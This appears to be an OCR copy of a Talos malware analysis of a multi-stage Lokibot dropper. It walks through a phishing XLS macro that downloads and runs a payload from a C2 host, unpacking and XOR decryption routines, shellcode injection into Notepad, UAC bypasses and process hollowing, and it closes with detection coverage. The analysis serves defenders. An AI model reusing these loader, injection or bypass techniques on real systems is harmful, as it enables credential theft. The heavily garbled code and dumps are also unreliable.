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News summary

* Lokibot is one of the most well-known information stealers on the malware landscape. In
this post, we'll provide a technical breakdown of one of the latest Lokibot campaigns.
e Talos also has a new script to unpack the dropper's third stage.

¢ The actors behind Lokibot usually have the ability to steal multiple types of credentials
and other sensitive information. This new campaign utilizes a complex, multi-stage,
multi-layered dropper to execute Lokibot on the victim machine.

What's new?

This sample is using the known technique of blurring images in documents to encourage users
to enable macros. While quite simple this is fairly common and effective against users. This
write up is intended to be a deep dive for reverse engineers into the latest tricks Lokibot is
using to infect user machines.

How did it work?

The attack starts with a malicious XLS attachment, sent in a phishing email, containing an
obfuscated macro that downloads a heavily packed second-stage downloader. The second stage
fetches the encrypted third-stage, which includes three layered encrypted Lokibot. After a
privilege escalation, the third stage deploys Lokibot. The Image below shows the infection
chain.
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Defenders need to be constantly vigilant and monitor the behavior of systems within their
network. This blog provides a detailed overview of how complex the infection chain is for
Lokibot and which tricks the adversaries are using to bypass common security features and

tools of modern operating systems.

First-stage analysis

When the user opens the phishing email, it presents a Spanish social engineering message

("Payment: Find scheduled payment dates attached"). The figure below shows a screenshot of

one of the emails we looked at.

Contabilidad <admon@berza.com.mx> 15

Pago

4 Reply % Reply All ¥ ~ Forward More v

10/12/2020, 1:55 PM

Encuentre las fechas de pago programadas adjuntas

v |ﬂ] 1 attachment: Fechas de pago programadas.xls

ElR Fechas de pago programadasxls 91.0 KB

The Excel sheet uses another common social engineering technique by showing a blurred-out
image of a table with the text "Changing the size of this document, please wait," in Spanish. If

the victim clicks the "Enable Content" button, thinking it will make the image visible, a

malicious macro is executed.
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The macro is mainly obfuscated by using long hexadecimal variable names. The screenshot
below shows a portion of the *"Workbook_Open" function of this macro.
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CBDHCRWW VA ENGGMHMTVATONJCSTESUCIRXARXDIWH . cesponseBody

If

CHNRED T IGHE TSI G I ZW P DV EFH D P E T LI DN JE L O HH A T S Y GW S Y BN I S EM LW H T B T Y I SCY TIOON P IFINEER
CEBDHCRAWVAENQGMHMTVATONJCSTESUCIREEENDINH .. Status = 200 Then

Sat

CLPRE Y XWN IRV YHU N X YUV LB Y D I Y 8 G R F PP G Y VEDO G LOMAIBCHMNRD T IQHE TS IGGFIZWNZPDVEFHDFETL.T
FIFIXEFMNPLMYFE = CreateObject{("adodb.stream™)

CLEPR S XKW IRV YU X YUV LB Y D I Sy G R RFF O oG I VEDOGLOMIBCHNRDT IQNR TS IGGFIZWEZFDVEFHDFETL.T
FIFIXEEMNPLXFD. Opan

CLPR W IR Y Y HU I Yy UHY LU Y D Sy S G R R P O S G S Y VE D G LM CHNRD T I O T RS I GG I WS PFDVEFHDFET LT
FIFIXEEHMNFPLAFD. TYyps =

LR KW RV Y HUU X Y U HY LR B BV D L Y A G R R PO G Y VEDOG LOMA B CMN R DT IOHR TR IGG R I SWSPDVEFHDPETL
HPIFIXEEMNPLEFETRLVEMTY JPTCOBBOROHIV.T

CLPR XN RV Y HU O Y UH Y LR BU BV DI 2 G R R P F O G Y VEDOG LOMA BCMNRD T IOH R T S I GG FI ZWZPDVEFHDPETL.Y
PIFIXEEMNPLAFB. Wcita

PIFIEEMN P LY FETELYVEMT Y TP IR PO IV IOLU T PP CEVC R RDWENE Y ZOBDHCRNW YK ENCGIMMT VX TGN ICSTESUC IR
NYUHVLEBRUFEUYLD I 2 Y SSCERFPFOGEC ZY VEDOS LOMSBCHNRADT IGHETRSIGSFIZWEPD

CLPR I XW IRV Y HUO Y X Y UV LB RV D I Y 8 G R F P PO G Y VEDO G LOMABCHMN R DT IQHE TS IGSFIZWNZPDVEFHDPETL.T
PIFIXEFEMNPLYFR. SavaToFils

BHNIGEMLWHTWUBCIUU ROy I Y TJOON P IF I EEMNPF LY FBTELVENT Y JPFJCOBBOFONIVJOLUT FRPCXVCERDWBNEYZOB
XDGEFRSZEFJVAHIY CLFRZX XKW IRV YHUUCK Y UNVLEBUFBVDIZY3IGERFFF,

YO LFR KX W IRV I N N Y UMV LA DU VD I DY G RRFFrO oG Y VED G LOMIDCHMNEDT IONR T IGGF IZWEFDVEFNDFETL:
NPIFIXEEMNFLEFMDTELVEMTYJPJCORDOTCHIV.T +

YO LFR KXW SRV T HU I K Y U THV LR BB VD L S Y G R R F OGS Y VEDOG LOMIDCHMNRDT IO T IGGF I SWSPDVEFHDFET L,
NP IFIXEEMNPLEFRTRALVEMTY JPTCOBBOIOHIV.T

L PR NN RV Y HU K Y U H Y LA BU Y DI Y G R R P O G Y VEDOG LOMA BCMNRD T IGH R T A I GG I SW S PDVEFHDPETL.T
PIFIXEEMNPLAFE. Closs

End If

R I GG I AW P DY EFH D P E T LT DN T E Lo HB L I Y W ey BN IS EM LM H T W B U I F OOy I aCY T ITOONP IFIK EEMN P LY FRETR
HEHOQOHMMTVHETENICASTESUC IR EEEDIWHNE . Opan

BNIGEMLWHTWUBRC I I oY I Y T JOON P IF I EEMN P LY FETELVENT Y TP ICOBEBOFONIVIOLUT FPCXVCERDWBNEY ZOR
HDCGEFRSZEFRTVaAHIY CLPEZ W IRV YHUODCK Y UHVLEBUFBVDIZYS3CERFPFF)

End Sub

The deobfuscated macro is shown below.
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Templatesfath = Wsh3hell.SpecialFolders ("Template=s™)

2 Bat HbtpRegquest Createdbject ("n fr. "
3 Set ShellapplicationObj = CreateCbject ("Shell.fpplicaticon™)
5 Irv,.1.|..-..r:x.- TemplateaPath + Decrypt {"iX\_*=[0in,r "1]

&

7 [ HitpRequest.Open "get”, Decrypt URL for second-stage

| DecEypt {"g~~20<<wavy | wav-~axyx  oywytegquiuw s faxud ~u~2rtpwlup-~na-yr | op, ph~.q bl u<dngwapw: nn")
5 False
10 HttpRegquest , send

| HttpResponasBody = HttpRegqueat. reaponascBody
12 [ If HttpRequest.dtatus = 200 Then
13 et RAdohbaStreamid = 3:=dleﬁbjcvt["n' i, stream")

14 AdobeZtream¥. Open
15 AdobeStreamX.Type = Integer 1

[ Adobedtream¥.Write HetpResponaaBady

) Adobeftream¥. SaveToFile FathToExe, Integer 1 + Integer_1
18 I Adobe@treamX.Close

- End Il
20
21 I Shellhpplicationdb].Open tEathToEerI Execute second-stage
2 End Sukb
23

It decrypts the URL for the second-stage from hardcoded bytes, saves it to the "Templates"
folder, and executes it. The traffic generated from the macro is shown below.

GET SojHYhkfkmuofwuendkfptktnbujgmfkgtdeitobregvdgetyhsk/ Xehmigm.exe HTTP/1.1
Accept: */*

Accept-Language: en-us

Accept-Encoding: gzip, deflate

User-Agent: Mozilla/4.@ (compatible; MSIE 7.0; Windows NT 16.8; WOWG4; Trident/7.e;
.NET4.8C; .NET4.8E)

Host: millsmiltinon.com

connection: Keep-Aliwve

HTTP/1.1 208 OK

Server: nginx/1.1e.3

Date: Mon, 12 OcCt 2028 21:87:48 GMT
content-Type: application/octetr-stream
content-Length: G29768

Last-Modified: Mon, 12 Oct 2020 20:45:34 GMT
Connection: keep-alive

ETag: "S5f84cede-99coa"

Accept-Ranges: bytes

T [ s 000 0 5 3000 3 o £, 3 D0 3 1 Cr O Dy C GO 003 O ) 0 O D 1O
.1..L.!..This program must be run under win3z
e T T ——

Second-stage analysis

The second-stage executable is packed with a Delphi-based packer.

Packer analysis

The packer contains a timer "xvv' timer under ‘Form_main", which unpacks the payload. The
timer and its handler code are shown below.
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Form_main (23 componants)

|- Farm_main

OnCreate=TForm_main FarmCreate

Image1:Timage
Image2 Timage
Label_pourcentTLabel
Label_texe:TLabel
Image3:Timage

7 SpeedButton_copier TSpeedBution

7]- Button 1. TBution

7- Edit_text TEdit
ProgressBart TProgressBar

51- Button_police: TButton
StatusBar!: TStatusBar

71- Button_remplissage: TButlen

- FoniDialog1:MFontDialog

Z1- MainMenu1 THMainMenu

(@ad63]
(BE631
(Ba631
rBad63]

BC
BL
BC

BC _TForm_main_swwTimer pr

HE push enx
mo chx, Cax
call Syst :Ra
4 Xor edx, edx
6 mow eax, [ebx+3BCh]
feB1531CC call Ink in_libr
180463301 call sup_sb2iba |
Bade3 1P pop et
1BBE31PT retn
18046317 _TForm_main_xvvTimer endp
BRdE31pT

=- macITTimer I/

& OnTimer=TForm_main.awTimer

Unpacking function

The unpacking function performs the following steps:

1. Loads the image resource with name "T__ 6541957882" into memory.

2. Finds the anchor "WWEX " and copies data following to the new buffer.

3. Adds "oxEE" to the bytes to decode the DLL.
4. Reflectively loads decoded DLL into memory and executes it.

[ % T_6541057882 : 1033 |

| COTeor Groap
J Icon Group
4 ) MAINICOMN
& 0
¢ 1036
J Version Info
or 1:1038
| Manifest
or 1:1033

The figure below shows the resource image that contains the encoded executable.

The following image shows the location of the embedded executable following anchor
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de shows the code and decoded DLL.

Load Image Resource

PPPPPPFPPPPPPEPP
PEPPPPFPPPPEPEEP
PEPPEPEPPPPEPEEE
PPPPPPFPPPPPPEEP
PPPPPPEEPPEEPEED
PPPPPPEFPPPPPPEPP
PPPPPHWWEX] 1b. . .

Resource Mame

R A s AL e LA P L § Lt T g
mov eax,dword ptr ss:[ebp-20]
call <6b.system::__linkproc__ LStrToPChar(System:

kebp—?ﬂ]:"T__ﬁSAIQS?SBE"

lea edx,dword ptr ss:febp-14]
gall <6b.Loadresource:
push edx

pop eax eax:"T__6541957882"

Add OXEE to bytes to decode DLL

E r——=>8| 00462003 + lea eax,dword ptr ss:febp-C

i e 00462006 mov edx,dword ptr ss:febp-4

| e 00462009 {movzx edx,byte ptr ds:[edx+edi-1]

o e[ 0046Z200DE mov ecx,dword ptr ss:flebp-8j)

i e 004620E1 and ecx,B800000FF

I r--—-8(| 00462067 ~| |jns 6b.4620F1

e e[ 004620E9 {dec ecx

e e 002620EA or ecx,FFFFFFOO

{ :: & 0D4620F0 Tl pr;

—¥ B 04620F1] {add edx,ecx

bl of 004620F3 L—rmmfmmlum

E I ®| 004620F8 mov edx,dword ptr ssiflebp-Cl}

| o 004620FE moy eax,es’

v e 004620FD gall <6b.system::__linkproc__ LStrcat(void)>

| e/ 00462102 {inc edi

ol o 00462103 ! dec ebx

| L———0|00262104| <L) ine[6b. 462003 I

Decoded DLL

Address Hex ASCII
0lppZ2358 4B 5a 50 00|02 00 OO0 QO[04 OO0 OF OO |FF FF|MZP.........¥V..
0lpp2368 |83 00 00 00|00 00 00 00|40 00 1A Q0|00 00| ,.......B.......
0Olpp2378 |00 OO OO0 OO0|00 0O OO0 00|00 OO0 OO0 00|00 00 -
0lpp2388 (00 OO0 OO QOO0 OO0 QOO OO(O0 OO 00D QD00 D01 |...ccveecannnnas
01DpD2398 |BA 10 00 OE|1F B4 09 CD|21 B8 01 AC|CD 21(=.... .1!' _.LI!..
01DD23A8 |54 68 69 73|20 70 72 6F |67 72 61 6D |20 60| This program mus
0lDD23BB |74 20 62 65|20 72 75 BE|20 75 6E 64 (65 72|t be run under w
01DD23CE |69 6E 33 32 (0D 0A 24 37|00 OO0 00 OO (OO0 OO|in32..87........

Unpacked DL

L analysis

The unpacked DLL is also written in Delphi. It fetches the third payload from the hardcoded

URL.

The DLL sets a timer, as shown below, which will execute the downloader function periodically.
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CODE:88279748 push 1 ; fuEvent
CODE:8827974A push 2 -_dullser
CODE:@e27/974C mov eax, offset|DownloadirdStage
CODE:@8279751 push eax y TPLC
CODE:88279752 push B ; UResolution
CODE:88279754 push ebx ; uDelay
CODE:@8279755 call winmm_timeSetEvent

CODE: 28279754 mov ds:5etEventReturned, eax
CODE:8827975F pop ebx

CODE:@8279768 retn

The *Download3rdStage ™ will first decode "https://discord.com” and try to connect to it. Then,
it performs a time-based anti-debug check, as shown in the code below. If any of these checks
fail, the DLL will not download the third stage.

1pool AntiDebug()

21

3| DWORD v@; [/ ebx

A unsigned int ul' ff eCx

51 inted v3; // [esp+Bh] [ebp-14h]
6 _ inted Uﬂ, /i ___-—Eﬂ: [ebp-Ch]

7

gl w3 = ReadTimeStamplounter();

91 vB = kernel32 GetTickCount();
18| kernel32 Sleep(@x6du);
11| w4 = ReadTimeStampCounter() r3;
12| vl = kernel32 GetTickCount() - v@;
13| return v4 < 50000000 || v1 < Bx32;
14|}

Once the checks have passed, DLL will decrypt the hardcoded third-stage URL, as shown in the
code below, and send the HTTP request.
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Encrypted third-stage URL

L Tl SRt

CODE : 8279298 lizaa ecx, [ebpsvar 8]

CODE: @@27929E mow eax, offset a3d2iflfBal@27f6T ; ~3I23F1FRa@27fe75d332707095

CODE: 88279243 call Decodedtr ;  edx BA57038E "IKkzB8PHB"

CODE: BG279208 lizan edx, [ebpavar (] 3 lebp-8]:"http: /fmillsmiltinen, comfweendkfptojHYhkfkmueotk!
CODE: 29279208 mow eax, [ebp+var 8]

CODE : 8@27920E call SendInternetlequest

CONF: AR TR

Decrypted third-stage URL

In response to the request, the server sends a ~618KB long hex string, as shown below.

GET /wuendkfptojHYhkfkmuofktnbujgmfkgtdeitobregvdgetyhsk/Xehmuth HTTP/1.1
User-Agent: PPPPPX

Host: millsmiltinon.com

Cache-Control: no-cache

HTTP/1.1 200 0K

Server: nginx/1.10.3

Date: Mon, 12 Oct 2020 21:08:23 GMT
Content-Type: application/octet-stream
content-Length: 608256

Last-Modified: Mon, 12 Oct 2020 09:24:15 GMT
Connection: keep-alive

ETag: "s5fs42ebf-94800"

Accept-Ranges: bytes

776091c7e3azbl2e86Toell7e3f2a0a0776091c7e3a2bl2086feell7e3f2a0ad776091c7e3
17e3f2afad776091c7e3azbl2e86f0el117e3f2a0a0776091c7e3a2bl2086T0el1l17e3f2anat
bi12eB6feell7e3f2a0a0776091c7e3a2bl12086f0el117e31f2a0a0776091c7e3azbl2e86T el

The DLL decodes the hex string using the following steps:

1. Reverse the hex string.
2. Convert hexadecimal digits to bytes (unhexlify).
3. XOR decode with hardcoded key "ZKkz8PH0o".

We have written a small Python script to decrypt the third stage. The same decryption method
was also used to decrypt the hardcoded command and control (C2).The resulting file is also a
DLL, which the second stage reflectively loads.
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zip(resp_by

open( "decoded.d11_", "wb") outfile:
outfile. (bytes(decoded_bytes))

Third-stage analysis

The third stage is also written in Delphi. At the start, it loads a sizable binary resource named
"DVCLAL" into memory. It then generates the key "7x21zoom8675309" from hard coded

bytes. The key is then used to decrypt the resource data using a custom encryption algorithm.

The malware then recovers the configuration structure from decrypted resource data. The
structure fields are delimited by string "*()%@5YT!@#G___T@#$%"&*()__#@$#57%#!@".

The decryption algorithm is shown below.
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CODE
CODE
CODE
CODE
CODE
CODE
CODE
CODE
CODE
CODE
CODE
CODE
CODE
CODE
CODE
CODE
CODE
CODE
CODE
CODE
CODE
CODE
CODE
CODE
CODE
CODE
CODE
CODE
CODE
CODE
CODE
CODE
CODE
CODE
CODE
CODE
CODE
CODE

e

1 @3D25ABE
:@3Da5AB9
:@3De5ABE
TB3DESACS
1@3DB5ACE
1B30e5ACE
:@3D0a3ACD
:B3IDBSACF
1@3085AD1
1B3DEsADG
:@30a5AD6 loc_3DE@5ADG:
1@3085AD6
tB3DEsADS
1 @3Da5ADD
1 @3DB5ADF
t@3D85AE2
1@3DE5AED
1@3DB5AES
tB30E5AER
1 @3DE5AEE
:B3IDA5SAF1
:@3D85AFG
1B3DESAFS
1 @3DB5AFD
1@30e5660
1B30aes0es
1830|5885
:@3Dasean
rB3DasEes
r@3Daseen
:@3DasB12
1B30e5814
:@3Da5E16
:B3DA5E1B
:83D85B1E loc_3DB5B1E:
1B3DE5816
:83D8581C
183085810

ATIMOGCDIE

PR I S P

les Eax Lebotlew]
I call BuildKey 3 "Tx21zoomB675389"
mow es1, 1
mow eax, [ebp+PtrResourceData]
call EDynArraylLength
mow edi, eax ; ea@x: BBB1AEES
test edi, edi
jle short loc_3DBSBL1F
mow ebx, 1
: CODE XREF: DecryptData+91i47
mow eax, [ebp+PtrResourceDatal
mov al, [eaxs+ebx-1]
and al, @Fh
mow edx, [ebp+Key]
mow dl, [edx+esi-1]
and dl, @Fh
Hor al, dl
mov [ebp+temp], al
lea eax, [ebp+PtrResourceDatal]
call EUniqueStringA
mow edx, [ebp+PtrResourceDatal
mov dl, [edxs+ebx-1]
and dl, @Feh
mow cl, [ebp+temp]
add dl, cl
[mov Teax+ebx-1], dl | Write decrypted byte
Lo E51
mow eax, [ebp+Key]
call EDynarraylength
cmp esi, eax
jle short loc_3D@5B1E
mow esi, 1
; CODE XREF: DecryptData+B88t13
inc ebx
dec edi
jnz short loc_3D@SADG

The hex dump below shows a structure field highlighted separated by delimiters.

Hex
2A
23
24
F3
E6
D8
DA
CE
DB
5F
23

28 29 25
24 25 5E

23
F8
DB
=)
EA
E1l
EO
54
35

21
D5
DC
E7
D9
EF
E6
40
37

40
F6
E3
D2
CE
E9
2A
23
24

40
26
cC
c8
CE
DF
D6
E7
28
24
23

35
2A
CE
CE
EB
EF
EA
DB
29
25
21

59
28
DA
E1l
F2
D2
E6
D6
25
5E
40

54
29
Do
cD
F2
F3
F6
ES8
40
26
37

21
5F
E8
F8
E1l
CcC
EE
D7
35
2A
34

40 23 47 |5F 5F 54 40 *Ei%@EYT!@#G_T@ '

5F 23 40|24 23 35 37 |#SWA&*()__#@S#57

EB
F1
DA
DA
D6
cD
59
28
35

F2
E3
ED
D6
F4
c8
54
29
32

F5
F9
F6
E7
D7
CF
21
5F
37

The configuration structure layout is shown below.

F7
DA
F3
EA
E4
DO
40
5F
32

EC
c8
Dl
ED
EA
EE
23
23
33

DE
E4
DF
D9
cC
D4
47
40
38

EO
EA
EC
EQ
EOQ
DE
5F
24
37

$41eITupeéoo=iba
6006ETAToRAUUEAS
elUaieooauiooNRi
@dcORi06IUOcéila
UéUitéz6706xiéia
TaiécUbexIEIDTOP
086* () %a5 YT | @4G_
_T@#S%A&* ()__#@$
#57%$#1@745272387

10/17


https://1.bp.blogspot.com/-0tkm9L9nxnk/X_WQkXc6U_I/AAAAAAAABzw/_Aak8kIohKkIKiUaUAvMJCIKxdIMJpl_gCLcBGAsYHQ/s655/image10.png
https://1.bp.blogspot.com/-ezM1PkQ6uCM/X_WQz2ipmkI/AAAAAAAAB0A/U7XzkJGa2kwzXGfjiUQw38Aj0zeOz9gegCLcBGAsYHQ/s730/image30.png

Unkrown
PYOID DecryptionKeyA
PWOID DecryptioneyB

PYOID EncryptedExecutable

LPSTR AutoRunkeyFlag

LPSTR ExcutionFlagh

LPSTR ExcutionFlagB
PVDID EncryptedShellcode
LPSTR Unkriown

LPSTR FileMame

Unkmown

LPSTR ExecutionFlagC

LPSTR InjectDLLToNotepadFlag

Unknown

LPCSTR Unknown

Injecting malicious DLL to Notepad.exe

Used in decryption
Used in decryption
Points to encrypted executable

If set to "1, malware will persist using
autorun key

Combina

dictate

will be la

Used to check if toinject an embedded
DLL to note (]

Set to str"Direct Crypted File Link Here"

MNa
Yes
Yes

Yes

Ma. St to "0

ExecutionFlagh="1"

ExecutionFlagB="1"

Yes

Na. Set to “200° but not used

Yes. Set to “Kehm®

MNa

Then, the malware will check if “InjectDLLToNotepadFlag" is set and "reverse_str(FileName)

ns

+".ur

inject malicious DLL into Notepad.exe using the following steps:

1. Launch a Notepad.exe in the suspended state (dwCreationFlag =

CREATE_SUSPENDED).

(mheX.url) file doesn't exist in C:\Users\<username>\AppData\Local\ . If yes, it will

2. Get the imported DLL name from the malicious DLL's import table (the first one is
"kernel32.d1l") and write to the suspended process.
3. Write the following 12-byte structure containing addresses of kernel32: LoadLibrary,
kernel32.sleep, and DLL string.

Address

000DOO0OO0
000DO004
000DO00S

T T —— T

Value
7/ 5DE498F
00OCO000
/5DE10FF

M

Comments

4. Write a 210-bytes shellcode to Notepad.exe.

Address | Hex

kernel32.LoadLibraryA
"kernel32.d11"
kernel32.Sleep

ASCIT

000AQO0D0 |55 BE EC B3 |C4
000AQ010| 04 B89 55 FE8| BB
000AQD20 | BEE FF FF FF|FF
000AQOD30 | 00 BD 40 00|55
000AQ040 | FO 8B 45 FC|ES
000AQ0D50| 03 64 FF 30|64
000AQ080 | 48 DO 032 ES|ZC
000AQDF0 | FE &8 50 48 (DO
000AQ0DED | 50 ES 16 19(|FF
000AQD0D90 | FF BE DO BE|C6
000AQ0AD | 0D BD 4D FO|BA
OO0OAQDBD | B85 CO 74 OB|E50
000AQDCOD | 59 &4 89 10|68
QO0AQODD | FF C3 00 00|00

AAAAAARA Ll Am oAl omm o mm b ims

U.1.AC.E....UC.P
.. Us. P. . Uiyusyud
YYYYPYUNEG. 4]A.
.- @.U.7.ABSV. Uil.
0. ElBKpyIAUN*HD
Ldyod. 30h<HD. hD
HB. B, . WWPE. . W. E
GhPHD . hDHD . B, . Yy
Pe..¥y.ED.ELE. Lp
V.B.fe.pyv.E0]. ]
. MBeXGD. . £ROPYY
AL PEO. Y, IATY
¥d..hiHB. .EUE7=p

11/17


https://1.bp.blogspot.com/-zjr_QXlGatE/X_WQ9Is9Y5I/AAAAAAAAB0I/bo6bmIB7V_YcUJE8TZrNemGAqlWA4d_xwCLcBGAsYHQ/s1458/image31.jpg
https://1.bp.blogspot.com/-E9kMDjRBy28/X_WRMdk6XYI/AAAAAAAAB0Q/TmpDK7EcLIQTS3xKhvt6vWtcn9qyYscsACLcBGAsYHQ/s387/image32.png
https://1.bp.blogspot.com/-78MFMIQUiEg/X_WRVLHFncI/AAAAAAAAB0Y/6VUrc6V0fBAg8o6YZIhIkG3IpFzYHlZcwCLcBGAsYHQ/s522/image5.png

5. Execute this shellcode in Notepad.exe using “CreateRemoteThread ™ and pass the pointer
to the 12-byte structure shown above. This shellcode loads the DLL ("kernel32.dll") and
then goes into an infinite sleep loop.

6. Write DLL ("kernel32.dll") string again to notepad.exe.

7. Write the 20-byte structure to Notepad.exe containing pointers to important APIs and
two strings: imported DLL name and imported API name.

Address

Value __[Comments
00130000 |7702D598 [ntdl11.Rt1ExitUserThread
00130004 |75D81222 [kernel32.GetProcAddress
00130008 (75D81245  kernel3?2.GetModuleHandleA
0013000c |00120000 | "kernel32.d11"
00130010|00110000  "DeleteCriticalSection”

— . ___ A N ..

8.
Write 144 bytes of shellcode to Notepad.exe.

Address | Hex ASCIT

00140000|55 8B EC 83|C4 EC 56 57|8B 45 08 8B|FO 8D 7D EC|U.1.A1VW.E..O.] 1
00140010|A5 A5 A5 A5 (A5 FF 75 F8|FF 55 F4 FF|75 FC 50 FF ¥¥¥¥¥?uayua§uupy
00140020|55 FO 50 FF|55 EC 5F SE|8B E5 5D C2|04 00 8B CO|UBPYUI_A.AJA...A
00140020|53 56 57 83(C4 E4 BE F9|8E F2 BB D833 CO 89 04|5VW.Ad.U.b.B3A..
00140040|24 68 44 49|D0 02 &8 58|49 DO 03 E8|3C 18 FF FF|$hDID.hXID.B<.¥¥
00140050|50 E8 3E 18|FF FF 89 44|24 10 68 64|49 DO 03 68|P&-.yy.D$.hdID.h
00140060 |58 49 DO O3 (E8 23 18 FF|FF 50 EB 25|18 FF FF 89| XID.e#.yyPe%. yy.
00140070| 44 24 OC 68|74 49 DO 03|68 58 49 DO|03 ES 0A 18|D3$.htID.hxID.E..
00140080 |FF FF 50 E8|0C 1B FF FF|89 44 24 08|8B D7 8B C3|yyPe..yy.DS..x.A

i I T i Yoo o O T T T i o i ¥ T i Y T T Y T T Y T i Y i T ™ i T e T g

9. Execute this shellcode in Notepad.exe using "CreateRemoteThread "™ and pass the pointer
to the 20-byte structure from step 7 as param. This shellcode will resolve the import
pointed by the last variable of the structure in step 7, and then exits using
"RtlExistUserThread .

10. Repeat Steps 2 - 9 for all of the imported DLLs and imported functions in the malicious
DLL's import table.
11. Write malicious DLL to Notepad.exe.
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12. Write an eight-byte structure to Notepad.exe containing Malicious DLL base address and
entry point.

Malicious DLL's Base Address

Lomments
L] fkﬂ ;EE I:} L]

50450000

150492090

AL T
03C50000
03C50004

Malicious DLL's Entrypoint

13. Write 122 bytes of shellcode to notepad.exe.

Address | Hex ASCIT

03C&0000|55 BB EC 83|C4 F8 8B 45|08 BE 10 89|55 F8 8B 50|U.71.AB.E....UB.P
03C&0010|04 89 55 FC |31 €O 50 6A|01 FF 75 F&|FF 55 FC 59| ..U01AP]. yusyUly
03C&0020 (|59 5D C2 04|00 8D 40 00|55 BB EC B1|C4 78 FF FF|¥JA...&.U.7.Ax0
03C&0030|FF 53 56 57 |8B F9 89 55 |F8 B9 45 FC|8D 45 CC BB |VSWW.U.Us.E0N.EI.
03C&0040 |15 DB 45 DO|03 E8 02 FI|FE FF 33 CO|55 &8 F1 50| .8ED.&.UpvIAURAP
03CE0050|D0 03 &4 FF|30 &4 89 20(C& 45 F7 0O0(8B C7 33 D2 |b.dyod. #£E=..g30
03C60060 (52 50 8B 47(3C 99 03 04|24 13 54 24|04 83 C4 08 |RP.G<...$.T%..A.
03C&0070| 89 45 E4 BEB|0OO 00 00 50|81 C3 00 00|00 00 OO0 00| .Eds...P.A......

AT srananal oAan oAana oma oRalAaam oAn oAan o oAaam ]l an o oAan oA oAaanlan o Aan o Rn omen

14. Execute the shellcode in Notepad.exe using “CreateRemoteThread " by passing the
pointer to structure from step 12 as param. The shellcode calls the entry-point point of

the malicious DLL.
31C0 XOr eax,eax
50 push eax
&4 01 push 1
FF75 F38 push dword ptr ss:[lebp - &j [ebp-8] : "MZP"
FF55 FC call dword ptr ss:[ebp - 4]

CoO [a ot - T p

Injected DLL analysis (UAC bypass using two techniques)

It checks if *C:\Windows\Finex" exists. If not, it will drop the following file at path
"C:\Users\Public\cde.bat ":

Then, it drops C:\Users\Public\x.bat containing the following content.
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cmd fc CihUsershPublichx.vbs
exit

Then, it drops C:\Users\Public\x.vbs.

Then it drops, C:\Users\Public\Natso.bat.

Then, it executes "Natso.bat ", which is a "fileless" UAC bypass found by James Forshaw. More
details here.

If C:\Windows\Finex still doesn't exist (which means the UAC bypass failed), it will update the
Nasto.bat and execute it using the code shown below.

This is another UAC bypass technique based on fodhelper.exe. More details here. On our test
machine, the last bypass was successful, and “C:\Windows\Finex" was successfully created.
After that, the DLL deletes the dropped file and exits.

Decrypting and executing Lokibot

After attempting to bypass the UAC, the third-stage DLL will check if *AutoRunKeyFlag" is set.

For this DLL, it is not set. It will then jump to code that decrypts the Lokibot executable using
decryption keys from the configuration structure. The first two layers are decrypted using
"DecryptionKeyA" and "DecryptionKeyB *, and reverses all the data. After that, the final layer
is decrypted using the same decryption method used to decrypt resource data at the start of the
third stage.
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CODE : @3D864LE
CODE : @30864CE loc 3D@G4CE:

CODE : @3D@SACE lea ecx, [ebptvar_C28] Decrypts layer 1
CODE - 83086404 mov edx;, ds:DecryptionKeyh

CODE = 33086404 mowv eax, ds:EncyptedExecutable ; 1: eax 84B1191C

CODE : @30864DA i 2: edx BAB11B9E <key:

CODE : @3Das4DA ; 3: ecx BIBEFCHG

CODE : @3D864DA ; 4: [esp] @3BEFDAC

CODE : @3D@64DF call CustomDecryptiond

CODE s 83086154 mov edu, |ebptvar L& 5 &

CODE : @30854EA mov eax, offset LlDecrypted ; result

CODE:@3D@G4EF call  @LStrAsg Decrypts layers 2
CODE : @3D@64F4 mow eax, ds:DecryptionKeyB

CODE : 83D864F% call Strlolnt

CODE : @30864FE movw edx, eax

CODE: 23085588 lea ecx, [ebptvar CC]

CODE : 83086586 mov eax, ds:L1Decrypted

CODE : 83096588 call CustomDecryptiond

CODE.@3DS0S1E moy gdx, lebotvar CC1 _: g2

CODE - 23085516 mov eax, offset L2Decrypted ; result

CODE:@3096516 cal [ELStraAsg

CODE: 23085528 lea edx, [ebp+OutReversedStr] ; out Str

CODE 183086526 mov eax, ds:L2ZDecrypted ; String Reverses data
CODE:-83De6528 call ReverseString

LLUUE SR U0 S 3 TR Cdk, [COPHRITREVET SCUSLT |

CODE: 83096536 lea edx, [ebptvar D@]

CODE : @3D8653C call DecryptData ; decrypts uing key:7x21zoomE6/536 -
CODE : 83086541 mov edx, [ebptvar D@] ; a2 Decrypts final layer and
CODE :@30@6547 mov eax, offset DecryptediokiBotExe ; result reveals Lokibot exe

S P e P e 1

The DLL contains multiple ways to execute a PE file. The execution method is decided based on
the values of ExecutionFlag A, B, C. Their values will lead to the following code for the current
configuration, which will decrypt the shellcode from the configuration using DecryptionKeyB,
pass it three parameters: pointer to decrypted Lokibot .exe, a pointer to an array of string and a
pointer to current command line.

The shellcode will create a suspended process using the third parameter as a command line
command and injects Lokibot into it using process hollowing.

Conclusion

Threat actors are getting more sophisticated when it comes to hiding their final payload. This
dropper uses three stages and three layers of encryption to hide its final payload. The dropper
also injects code into a suspended process to bypass UAC and uses process hollowing to execute
its final payload. The majority of malware is getting more and more sophisticated. They are
constantly improving their social engineering techniques to trick the user into opening
malicious attachments and running malicious code. The malware code and its infection
techniques is also improving constantly like we have described in this blog. The adversaries
combine clever techniques to make detection harder. More than ever it is important to have a
multi layered security architecture in place to detect these kinds of attacks. It isn't unlikely that
the adversaries will manage to bypass one or the other security measures, but it is much harder
for them to bypass all of them. These campaigns and the refinement of the TTPs being used will
likely continue for the foreseeable future.

Coverage
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Ways our customers can detect and block this
threat are listed below.

Advanced Malware Protection (AMP) is
ideally suited to prevent the execution of the
malware detailed in this post. Below is a
screenshot showing how AMP can protect
customers from this threat. Try AMP for free
here.

Cisco Cloud Web Security (CWS) or Web
Security Appliance (WSA) web scanning
prevents access to malicious websites and
detects malware used in these attacks.
Network Security appliances such as Next-
Generation Firewall (NGFW), Next-
Generation Intrusion Prevention System

AMP
Cloudlock
CWs

Email Security

Network Security

Stealthwatch
Stealthwatch Cloud
Threat Grid
Umbrella

WSA

(NGIPS), and Meraki MX can detect malicious activity associated with this threat.

Threat Grid helps identify malicious binaries and build protection into all Cisco Security

products.

Umbrella, our secure internet gateway (SIG), blocks users from connecting to malicious
domains, IPs, and URLs, whether users are on or off the corporate network.

Additional protections with context to your specific environment and threat data are available

from the Firepower Management Center.

Open Source Snort Subscriber Rule Set customers can stay up to date by downloading the latest
rule pack available for purchase on Snort.org.The following SIDs have been released to detect

this threat: 56578 and 56577.

